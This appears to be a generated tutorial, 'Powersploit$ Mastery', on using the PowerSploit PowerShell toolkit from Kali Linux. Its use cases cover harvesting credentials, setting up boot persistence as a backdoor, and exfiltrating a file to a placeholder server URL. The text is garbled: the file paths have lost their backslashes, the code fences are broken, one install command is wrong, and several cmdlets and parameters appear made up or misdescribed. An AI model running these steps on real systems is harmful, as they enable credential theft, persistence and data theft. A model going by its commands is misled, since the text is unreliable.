# Course #458: Powersploit$ Mastery

## Section 1: Introduction to Powersploit$

Powersploit$ is a powerful collection of PowerShell scripts designed for penetration testing and security assessments. Built on the capabilities of PowerShell, it allows penetration testers to simulate attacks and assess vulnerabilities in various environments. This section provides a comprehensive guide on how to install, configure, and use Powersploit$ effectively in Kali Linux, along with real-world use cases.

### Installation and Configuration on Kali Linux

Before diving into the usage of Powersploit$, you'll need to ensure that your Kali Linux environment is set up properly.

#### Step 1: Update Your Kali Linux

It's crucial to start with an updated version of Kali Linux to ensure compatibility with Powersploit$. Open your terminal and run:

"`bash
sudo apt update && sudo apt upgrade -y
"`

#### Step 2: Installing Necessary Packages

Powersploit$ relies heavily on PowerShell, which may not be pre-installed on your Kali Linux system. Follow these steps to install it:

1. **Install PowerShell**:

You can install PowerShell by adding the Microsoft repository. Run the following commands:

   sudo apt install -y wget apt-transport-https software-properties-common

   wget -q "https://packages.microsoft.com/keys/microsoft.asc" -O- | sudo apt-key add –

   sudo add-apt-repository "$(wget -qO- https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb)"

   sudo apt update

   sudo apt install -y powershell

 

2. **Install Git** (if not already installed):

Powersploit$ is stored in a GitHub repository. Ensure you have Git installed:

   sudo apt install -y git

 

#### Step 3: Cloning Powersploit$

With Git installed, you can clone the Powersploit$ repository from GitHub:

"`bash
git clone https://github.com/PowerSploit/PowerSploit.git
"`

#### Step 4: Importing Powersploit$

Once cloned, navigate to the directory and import the modules into PowerShell:

"`bash
cd PowerSploit
pwsh
Import-Module .ExfiltrationInvoke-Exfiltration.ps1
"`

### Step-by-Step Usage and Real-World Use Cases

Powersploit$ offers a range of functionalities, from privilege escalation to exfiltration of data. Below, we will cover some essential modules and how to use them.

#### Case 1: Credential Harvester

One of the significant features of Powersploit$ is its ability to harvest credentials. This can be done using the `Invoke-CredentialInjection` command.

##### Usage:

1. **Launch PowerShell**:

Open a PowerShell session.

   pwsh

 

2. **Execute Credential Harvester**:

You can run the following command to start the credential harvester. Ensure you have administrative privileges:

[/dm_code_snippet]powershell
Import-Module .ExfiltrationInvoke-CredentialInjection.ps1
Invoke-CredentialInjection -Duration 60
[/dm_code_snippet]

This command will start capturing credentials for 60 seconds.

3. **View Harvested Credentials**:

Once the command has executed, you can view the credentials captured in the specified output directory.

#### Case 2: Persistence Mechanism

Another practical application is setting up persistence on a system.

##### Usage:

1. **Setup Persistence**:

With the `Invoke-Persistence` module, you can create a backdoor that activates every time the system is booted.

[/dm_code_snippet]powershell
Import-Module .PersistenceInvoke-Persistence.ps1
Invoke-Persistence -Command 'your_command_here'
[/dm_code_snippet]

Replace `your_command_here` with the command you want to persist.

### Detailed Technical Explanations

#### Understanding PowerShell

PowerShell is a task automation framework that includes a command-line shell and an associated scripting language. It's designed for system administrators and power-users to automate tasks that manage the operating system (Linux, macOS, and Windows) and processes.

##### Key Concepts:

– **Cmdlets**: These are the built-in commands in PowerShell, such as `Get-Command`, `Get-Help`, and others.
– **Pipelines**: PowerShell uses pipelines to pass the output of one cmdlet as input to another cmdlet.
– **Scripts**: PowerShell scripts are files with the `.ps1` extension that can run multiple commands.

#### Powersploit$ Architecture

Powersploit$ is structured into several modules, each targeting a different area of penetration testing:

– **Exfiltration**: For data extraction.
– **Persistence**: To maintain access to compromised systems.
– **Post-Exploitation**: For actions taken after gaining access.

### External Reference Links

For further reading and resources, consider the following:

1. [Powersploit GitHub Repository](https://github.com/PowerSploit/PowerSploit)
2. [Kali Linux Documentation](https://www.kali.org/docs/)
3. [Microsoft PowerShell Documentation](https://docs.microsoft.com/en-us/powershell/)

### Code Examples

Here's a practical demonstration of a simple PowerShell command utilizing Powersploit$.

"`powershell
# Example of using Invoke-Exfiltration to send files to a remote server
Import-Module .ExfiltrationInvoke-Exfiltration.ps1
Invoke-Exfiltration -Destination 'http://your-server/upload' -Source 'C:pathtoyourdata.txt'
"`

This script would send a file from the local machine to a specified server endpoint.

### Conclusion

In this section, we introduced Powersploit$, its installation, and configurations on Kali Linux. We also explored real-world use cases that demonstrate how to leverage its capabilities for penetration testing. In the following sections, we will delve deeper into specific modules and advanced techniques for maximizing the effectiveness of Powersploit$ in various scenarios.
